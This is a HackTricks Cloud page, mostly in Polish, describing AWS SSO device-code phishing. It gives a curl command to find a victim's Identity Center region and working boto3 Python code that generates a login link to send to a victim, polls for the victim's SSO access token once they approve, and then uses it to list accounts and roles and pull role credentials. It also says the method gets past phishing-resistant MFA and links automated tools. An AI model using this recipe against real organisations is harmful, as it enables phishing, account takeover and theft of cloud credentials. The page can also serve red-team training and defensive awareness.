AWS - Identity Center & SSO Unauthenticated Enum
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
AWS Device Code Phishing
Initially proposed in this blog post, it’s possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.
Aby przeprowadzić ten atak wymagane są:
- Ofiara musi korzystać z Identity Center
- Atakujący musi znać subdomenę używaną przez ofiarę
<victimsub>.awsapps.com/start
Mając tylko powyższe informacje, atakujący będzie w stanie wysłać link do użytkownika, który po zaakceptowaniu przyzna atakującemu dostęp do konta użytkownika AWS.
Atak
- Znalezienie subdomeny
Pierwszym krokiem atakującego jest ustalenie subdomeny, której firma ofiary używa w swoim Identity Center. Można to zrobić za pomocą OSINT lub zgadywania + BF, ponieważ większość firm używa tutaj swojej nazwy lub jej wariacji.
Mając tę informację, można ustalić region, w którym Identity Center zostało skonfigurowane:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Wygeneruj link dla victim & wyślij go
Uruchom poniższy kod, aby wygenerować link logowania AWS SSO, aby victim mógł się uwierzytelnić.
Dla demonstracji uruchom ten kod w konsoli python i jej nie zamykaj, ponieważ później będziesz potrzebować niektórych obiektów, aby uzyskać token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Wyślij wygenerowany link do victim, użyj swoich świetnych umiejętności social engineering!
- Poczekaj, aż victim to zaakceptuje
Jeśli victim był już zalogowany w AWS będzie musiał jedynie zaakceptować udzielenie uprawnień, jeśli nie był, będzie musiał się zalogować, a następnie zaakceptować udzielenie uprawnień.
Tak wygląda obecnie monit:
.png)
- Uzyskaj SSO access token
Jeśli victim zaakceptował monit, uruchom ten kod, aby wygenerować SSO token podszywając się pod użytkownika:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
SSO access token jest ważny przez 8h.
- Podszyj się pod użytkownika
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Warto wiedzieć, że poprzedni atak działa nawet jeśli używane jest “unphisable MFA” (webAuth). Dzieje się tak, ponieważ poprzedni workflow nigdy nie opuszcza używanej domeny OAuth. W przeciwieństwie do innych ataków phishingowych, gdzie użytkownik musi podszyć się pod domenę logowania, w tym przypadku device code workflow jest przygotowany tak, że kod jest znany urządzeniu, a użytkownik może się zalogować nawet na innym komputerze. Jeśli zostanie zaakceptowany prompt, urządzenie, tylko poprzez znajomość początkowego kodu, będzie w stanie uzyskać poświadczenia dla użytkownika.
For more info about this check this post.
Automatyczne narzędzia
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Źródła
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

